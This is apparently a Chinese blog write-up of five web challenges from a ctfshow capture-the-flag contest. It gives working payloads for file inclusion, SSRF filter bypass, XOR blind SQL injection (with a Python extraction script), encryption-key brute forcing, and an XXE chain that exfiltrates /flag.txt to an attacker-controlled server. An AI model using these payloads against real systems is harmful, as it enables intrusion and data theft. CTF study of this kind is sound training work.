CTF SHOW平台的WEB AK赛:

  • 签到_观己

    <?php

    if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match('/php/i', $file)){
    die('error');
    }else{
    include($file);
    }

    }else{
    highlight_file(__FILE__);
    }

    ?>

    简单的代码审计,这里进行过滤了 php ,应该是为了禁止使用php伪协议,然后包含传入的file文件,我们可以直接猜测根目录下存在flag文件

    payload为:

    ?file=/flag.txt

    获得flag

  • WEB1_观字

    简单的代码审计

    <?php

    #flag in http://192.168.7.68/flag
    if(isset($_GET['url'])){
    $url = $_GET['url'];
    $protocol = substr($url, 0,7);
    if($protocol!='http://'){
    die('仅限http协议访问');
    }
    if(preg_match('/\.|\;|\||\<|\>|\*|\%|\^|\(|\)|\#|\@|\!|\`|\~|\+|\'|\"|\.|\,|\?|\[|\]|\{|\}|\!|\&|\$|0/', $url)){
    die('仅限域名地址访问');
    }
    system('curl '.$url);
    }

    首先给出了提示:

    #flag in http://192.168.7.68/flag

    flag在内网服务器的根目录下,而我们一般都是使用SSRF漏洞进行内网探测。

    然后限制传入的url的协议只能是http

    $url = $_GET['url'];
    $protocol = substr($url, 0,7);
    if($protocol!='http://'){
    die('仅限http协议访问');
    }

    过滤了一些特殊字符

    if(preg_match('/\.|\;|\||\<|\>|\*|\%|\^|\(|\)|\#|\@|\!|\`|\~|\+|\'|\"|\.|\,|\?|\[|\]|\{|\}|\!|\&|\$|0/', $url)){
    die('仅限域名地址访问');
    }

    第一个过滤的字符就是符号 点 ,但想要探测IP的时候会用到 . ,寻找替代字符

    使用句号替代点,构造payload为:

    ?url=http://192。168。7。68/flag

  • WEB2_观星

    访问页面,可以看到有三篇文章

    点击之后可以看到每篇文章的内容不一样,且URL格式为:

    index.php?id=1

    猜测是SQL注入漏洞

    输入单引号后显示被拦截

    使用异或符号检测(为什么用异或符号?这个看个人习惯和直觉吧)

    构造payload为:

    index.php?id=1^2

    index.php?id=1^3

    1^2为01^10,结果为11,即3

    1^3为01^11,结果为10,即2

    得到的结果与我们的预想一致,存在SQL异或盲注漏洞

    SQL盲注的payload一般为(我们根据题目条件进行相应构造):

    id=1^if(ascii(substr(database(),1,1))=102,2,3)

    使用 substr 函数截取database()的每一位字母

    使用 ascii 函数获取相应字母的 ascii 码

    使用 if 判断 ascii 码 是多少,虽然二分法效率比较高,但是对边界条件需要考虑,所以一般情况下不如直接使用等号强行判断ascii值

    为真则返回2,为假则返回3

    1^2,1^3的结果在前面我们已经判断了,得到不同的文章,可以通过返回页面的结果进行判断

    原理就是这样,使用上述payload,关键字被过滤

    进行SQL注入绕过,绕过学习自羽师傅的博客:

    https://blog.csdn.net/miuzzx/article/details/107706685

    对上面的payload进行转换:

    空格使用括号来代替:这个很常见,也有的时候会使用注释来替换空格

    单引号十六进制来代替 : 常见,如果在查询字段名的时候表名被过滤,或是数据库中某些特定字符被过滤,则可用16进制绕过:

    select column_name from information_schema.columns where table_name=0x7573657273;

    0x7573657273为users的16进制

    substr 中的逗号,使用 substr(database() from 1 for 1) 来代替substr(database(),1,1):

    substr(database(),1,1)

    从第1位字符起,截取 database()值的第一位

    substr(database() from 1 for 1)

    对比上面的payload,就可以知道 from for 是啥意思了

    from 为从第几个字符开始,for为截取几个

    如果 for 也被过滤了,使用 mid 和 reverse 函数进行绕过

    if 中有逗号,使用 case when 来代替 if

    用法举例:

    if(database()='xxx',sleep(3),1)

    case when 替换绕过语句为:

    case when database()='xxx' then sleep(3) else 1 end

    ascii 使用 ord 来进行替换:

    ORD()函数返回字符串中第一个字符的ASCII值

    等号like 使用 regexp 来进行代替:

    关于REGEXP,有文章:https://xz.aliyun.com/t/8003

    REGEXP编写带有正则表达式的SQL语句,在全文相等的情况下替代等号

    于是可以构造payload

    id=1^case(ord(substr(database()from(1)for(1))))when(102)then(2)else(3)end

    最终获取flag的脚本为:

    import requests

    baseurl='http://426c70b1-b58c-4b5e-8e2d-abf5bde77c46.chall.ctf.show/index.php?id=1^'
    value=""
    for i in range(1,50):
    print("i=" + str(i))
    for j in range(38,128):
    # paylaod='case(ord(substr(database()from({})for(1))))when({})then(2)else(3)end'.format(i,j)
    #paylaod='case(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)regexp(database()))from({})for(1))))when({})then(2)else(3)end'.format(i,j)
    # paylaod='case(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)regexp(0x666c6167))from({})for(1))))when({})then(2)else(3)end'.format(i,j)
    paylaod='case(ord(substr((select(flag)from(flag))from({})for(1))))when({})then(2)else(3)end'.format(i,j)
    # "case(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)regexp(database()))from({0})for(1))))when({1})then(2)else(3)end".format(i, j)
    newurl=baseurl+paylaod
    rep=requests.get(newurl).text
    # print(rep)
    if "I asked nothing" in rep:
    print(value)
    value+=chr(j)
    break

    做的时候学习了不少绕过的技巧

    不过这个脚本跑的时候好像最后一位跑不出来,得靠自己猜,比如出列名的时候为 fla,猜出为flag,还没发现为啥

    补齐括号提交

  • WEB3_观图

    查看源代码

    看这个样子存在文件包含漏洞,访问该网址

    看起来 Z6Ilu83MIDw= 像base64加密,解密失败

    直接访问 showImage.php 文件,发现源代码

    <?php

    //$key = substr(md5('ctfshow'.rand()),3,8);
    //flag in config.php
    include('config.php');
    if(isset($_GET['image'])){
    $image=$_GET['image'];
    $str = openssl_decrypt($image, 'bf-ecb', $key);
    if(file_exists($str)){
    header('content-type:image/gif');
    echo file_get_contents($str);
    }
    }else{
    highlight_file(__FILE__);
    }
    ?>

    从 file_get_contents 可以看出是文件包含利用

    代码里面提示了我们:

    //flag in config.php

    文件名是使用DES加密

    $str = openssl_decrypt($image, 'bf-ecb', $key);

    加密所需的key在:

    $key = substr(md5('ctfshow'.rand()),3,8);

    而PHP rand()函数产生的数值的范围最大为32768,我们可以编写脚本进行爆破,爆破脚本为:

    <?php
    for($i=0;$i<=32768;$i++){
    echo $i.'<br>';
    $key = substr(md5('ctfshow'.$i),3,8);
    $str=openssl_decrypt("Z6Ilu83MIDw=",'bf-ecb',$key);
    if(strpos($str,"gif") or strpos($str,"jpg") or strpos($str,"png")){
    echo "key is ".$i.'<br>';
    break;
    }
    }

    在线环境运行一下,可知key is 27347

    获得key后得到config.php的加密后的文件名 : ?image=N6bf8Bd8jm0SpmTZGl0isw==

    <?php
    $key = substr(md5('ctfshow'.'27347'),3,8);

    $str=openssl_encrypt("config.php",'bf-ecb',$key);
    echo $str;

    将访问到的图片保存在本地,使用notepad++打开

  • WEB4_观心

    点击占卜,可以看到api.php向外部请求了一个xml文件

    可以推测是xml外部实体注入,即XXE漏洞

    同时因为是向公网上的服务器发起请求,所以我们需要使用自己公网服务器构造攻击链

    在服务器上先编写一个test.xml

    <?xml version="1.0" encoding="utf-8"?>

    <!DOCTYPE test [

    <!ENTITY % remote SYSTEM "http://ip/test.dtd">

    %remote;%int;%send; ]>

    <reset><login>bee</login><secret>Any bugs?</secret></reset>

    用于请求外部dtd文档

    test.dtd也在服务器上

    <!ENTITY % p1 SYSTEM "php://filter/read=convert-base64.encode/resource=/flag.txt">
    <!ENTITY % p2 "<!ENTITY xxe SYSTEM 'http://ip/pass=%p1;'>">
    %p2;

    XXE漏洞还不熟,等把upload靶场重做一遍后再深入学习一下XXE,本关大部分参考其他大佬的博客

    接着burpsuite修改api参数访问即可获取flag

    获得flag:flag{0ff30e5b-b292-4026-965e-fdaa2d482c58}

参考链接:

CTF SHOW WEB_AK赛的更多相关文章

  1. CTF线下赛AWD套路小结

    近打了2场CTF线下赛,把AWD模式中的一些小套路做一些总结,本人web狗,二进制部分就不班门弄斧了. 一. AWD模式简介 AWD:Attack With Defence,比赛中每个队伍维护多台服务 ...

  2. CTF线下赛AWD模式下的生存技巧

    作者:Veneno@Nu1L 稿费:200RMB 投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿 原文:https://www.anquanke.com/post/id/8467 ...

  3. ctfshow——web_AK赛

    签到_观己 从题目描述中没发现什么有用的信息 发现文件包含 尝试使用PHP伪协议执行命令,发现无法执行 尝试使用远程文件包含,发现也未开启 尝试使用日志注入 记录了UA值,抓包写入一句话木马 使用蚁剑 ...

  4. CTF线下防御战 — 让你的靶机变成“铜墙铁壁”

    本文首发安全客,未经允许禁止转载.原文链接 一. 前言 随着CTF的普及,比赛的形式也有了越来越多的花样,对于线下赛来说,开始出现了安全加固或者防御战之类的环节,亦或者因为拿下靶机后不希望其他攻击者进 ...

  5. [DEFCON全球黑客大会] CTF(Capture The Flag)

    copy : https://baike.baidu.com/item/ctf/9548546?fr=aladdin CTF(Capture The Flag)中文一般译作夺旗赛,在网络安全领域中指的 ...

  6. CTF AWD模式攻防Note

    ###0x01 AWD模式 Attack With Defence,简而言之就是你既是一个hacker,又是一个manager.比赛形式:一般就是一个ssh对应一个web服务,然后flag五分钟一轮, ...

  7. [CTF]Capture The Flag -- 夺旗赛

    CTF(Capture The Flag) 简单介绍 CTF(Capture The Flag)中文一般译作夺旗赛,在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式. `In co ...

  8. CTF 资源

    1.<CTF 工具集>包括web工具.渗透环境.隐形工具.逆向工具.漏洞扫描工具.sql注入工具.暴力破解工具.加解密工具等等. 参考地址:https://www.ctftools.com ...

  9. CTF基础知识 && AWD红蓝对抗

    AWD 备份源码,修改账户密码,查看是否有预留后门然后删掉 修改mysql密码 格式:mysqladmin -u用户名 -p旧密码 password 新密码 例子:mysqladmin -uroot ...

随机推荐

  1. yum源备份并安装扩展仓库

    yum源相关 默认的YUM源 1.备份默认的YUM源 mv /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.ba ...

  2. UnixIPC之共享内存

    Unix-IPC之共享内存 一,共享内存的概念 共享内存通信技术是一种最快的可用IPC形式,它是针对其他通信机制运行效率低和设计的新型通信技术(其他的如:信号量,管道,套接字等).这种通信技术往往与其 ...

  3. react 中组件状态的一些理解

    组件状态:即 state 只有当state发生变化时,组件才会更新. 当一个html标签的值依赖于state的值得时候,如果state的值没有更新时,这个标签的值无论如何也是不会更新的. 看下面示例: ...

  4. TCP中RTT的测量和RTO的计算 以及 接收缓存大小的动态调整

    RTT测量 在发送端有两种RTT的测量方法,但是因为TCP流控制是在接收端进行的,所以接收端也需要 有测量RTT的方法. /* Receiver "autotuning" code ...

  5. tcp 接收被动关闭 fin

    void tcp_rcv_established(struct sock *sk, struct sk_buff *skb, const struct tcphdr *th, unsigned int ...

  6. IP 层收发报文简要剖析5--ip报文发送2

    udp 发送ip段报文接口ip_append_data ip_append_data 函数主要用来udp 套接字以及raw套接字发送报文的接口.在tcp中发送ack 以及rest段的ip_send_u ...

  7. prometheus函数介绍

    一 函数介绍 gauge类型的数据  属于随机变化数值,并不像counter那样 是 持续增长 1 increase() increase 函数 在promethes中,是⽤来 针对Counter 这 ...

  8. ISITDTU CTF 2020 部分Web题目Writeup

    周末,跟着m3w师傅打ISITDTUCTF,m3w师傅带弟弟上分,Tql! Web1 给了源码: <?php class Read{ public $flag; public function ...

  9. exec() has been disabled for security reasons

    1.修改php.ini里面:disable_functions 2.重启服务器 2.如果是虚拟机,就重启虚拟机

  10. Apifox接口测试管理工具

    今天发现开发使用了一款新的接口测试工具,一眼看上去比较清爽,主要全中文界面对比postman的全英文,简直友好太多了. 后续又被业界大佬虫师推荐,于是去官网简单了解了一下,Apifox = Postm ...